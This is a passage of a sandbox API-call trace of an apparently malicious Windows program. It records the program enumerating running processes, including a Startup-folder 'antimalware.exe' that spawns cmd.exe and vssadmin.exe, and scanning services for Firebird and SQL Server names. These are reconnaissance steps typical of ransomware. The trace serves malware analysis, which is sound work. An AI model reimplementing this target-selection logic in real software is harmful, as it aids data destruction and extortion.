	[0166.415] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0166.416] lstrlenW (lpString="audiodg.exe") returned 11
	[0166.416] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0166.417] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0166.417] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0166.418] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0166.418] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0166.419] lstrlenW (lpString="sihost.exe") returned 10
	[0166.419] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0166.421] lstrlenW (lpString="Memory Compression") returned 18
	[0166.421] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.421] lstrlenW (lpString="svchost.exe") returned 11
	[0166.421] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0166.422] lstrlenW (lpString="taskhostw.exe") returned 13
	[0166.422] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0166.423] lstrlenW (lpString="msoia.exe") returned 9
	[0166.423] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0166.425] lstrlenW (lpString="explorer.exe") returned 12
	[0166.425] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0166.426] lstrlenW (lpString="SearchUI.exe") returned 12
	[0166.426] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0166.427] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0166.427] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0166.428] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0166.428] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0166.429] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0166.429] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0166.430] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0166.430] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0166.431] lstrlenW (lpString="cmd.exe") returned 7
	[0166.431] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0166.432] lstrlenW (lpString="conhost.exe") returned 11
	[0166.432] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0166.433] lstrlenW (lpString="consent.exe") returned 11
	[0166.434] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0166.434] lstrlenW (lpString="vssadmin.exe") returned 12
	[0166.435] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0166.436] lstrlenW (lpString="dllhost.exe") returned 11
	[0166.436] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0166.437] CloseHandle (hObject=0x38c) returned 1
	[0166.437] Sleep (dwMilliseconds=0x1f4) 
	[0167.139] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45aff58
	[0167.158] EnumServicesStatusExW (in: hSCManager=0x45aff58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0167.159] GetLastError () returned 0xea
	[0167.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x46f23f8
	[0167.159] EnumServicesStatusExW (in: hSCManager=0x45aff58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x46f23f8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x46f23f8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0167.160] CloseServiceHandle (hSCObject=0x45aff58) returned 1
	[0167.161] lstrlenW (lpString="Appinfo") returned 7
	[0167.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0167.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0167.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0167.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0167.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0167.161] lstrlenW (lpString="AppXSvc") returned 7
	[0167.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0167.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0167.161] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0167.161] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0167.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0167.161] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0167.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0167.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0167.161] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0167.161] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0167.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0167.162] lstrlenW (lpString="Audiosrv") returned 8
	[0167.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0167.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0167.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0167.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0167.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0167.162] lstrlenW (lpString="BFE") returned 3
	[0167.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0167.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0167.162] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0167.162] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0167.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0167.162] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0167.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0167.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0167.162] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0167.162] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0167.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0167.162] lstrlenW (lpString="CDPSvc") returned 6
	[0167.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0167.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0167.163] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0167.163] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0167.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0167.163] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0167.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0167.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0167.163] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0167.163] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0167.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0167.163] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0167.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0167.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0167.163] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0167.163] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0167.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0167.163] lstrlenW (lpString="CryptSvc") returned 8
	[0167.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0167.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0167.163] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0167.163] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0167.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0167.164] lstrlenW (lpString="DcomLaunch") returned 10
	[0167.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0167.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0167.164] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0167.164] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0167.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0167.164] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0167.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0167.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0167.164] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0167.164] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0167.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0167.164] lstrlenW (lpString="Dhcp") returned 4
	[0167.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0167.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0167.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0167.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0167.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0167.165] lstrlenW (lpString="Dnscache") returned 8
	[0167.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0167.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0167.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0167.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0167.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0167.165] lstrlenW (lpString="DPS") returned 3
	[0167.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0167.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0167.165] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0167.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0167.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0167.165] lstrlenW (lpString="DusmSvc") returned 7
	[0167.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0167.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0167.165] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0167.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0167.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0167.166] lstrlenW (lpString="EventLog") returned 8
	[0167.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0167.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0167.166] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0167.166] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0167.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0167.166] lstrlenW (lpString="EventSystem") returned 11
	[0167.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0167.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0167.166] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0167.166] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0167.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0167.166] lstrlenW (lpString="FontCache") returned 9
	[0167.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0167.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0167.167] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0167.167] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0167.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0167.171] lstrlenW (lpString="gpsvc") returned 5
	[0167.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0167.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0167.171] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0167.171] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0167.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0167.171] lstrlenW (lpString="iphlpsvc") returned 8
	[0167.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0167.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0167.171] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0167.171] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0167.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0167.171] lstrlenW (lpString="KeyIso") returned 6
	[0167.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0167.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0167.171] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0167.171] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0167.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0167.171] lstrlenW (lpString="LanmanServer") returned 12
	[0167.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0167.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0167.172] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0167.172] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0167.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0167.172] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0167.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0167.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0167.172] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0167.172] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0167.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0167.172] lstrlenW (lpString="lfsvc") returned 5
	[0167.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0167.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0167.172] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0167.172] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0167.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0167.173] lstrlenW (lpString="lmhosts") returned 7
	[0167.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0167.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0167.173] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0167.173] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0167.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0167.173] lstrlenW (lpString="LSM") returned 3
	[0167.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0167.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0167.173] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0167.173] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0167.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0167.173] lstrlenW (lpString="MpsSvc") returned 6
	[0167.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0167.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0167.173] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0167.173] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0167.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0167.173] lstrlenW (lpString="NcbService") returned 10
	[0167.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0167.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0167.174] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0167.174] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0167.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0167.174] lstrlenW (lpString="netprofm") returned 8
	[0167.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0167.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0167.174] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0167.174] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0167.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0167.174] lstrlenW (lpString="NgcSvc") returned 6
	[0167.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0167.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0167.174] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0167.174] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0167.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0167.174] lstrlenW (lpString="NlaSvc") returned 6
	[0167.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0167.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0167.175] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0167.175] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0167.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0167.175] lstrlenW (lpString="nsi") returned 3
	[0167.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0167.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0167.175] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0167.175] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0167.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0167.175] lstrlenW (lpString="PcaSvc") returned 6
	[0167.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0167.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0167.176] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0167.176] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0167.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0167.176] lstrlenW (lpString="PlugPlay") returned 8
	[0167.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0167.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0167.176] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0167.176] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0167.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0167.176] lstrlenW (lpString="Power") returned 5
	[0167.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0167.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0167.177] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0167.177] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0167.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0167.177] lstrlenW (lpString="ProfSvc") returned 7
	[0167.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
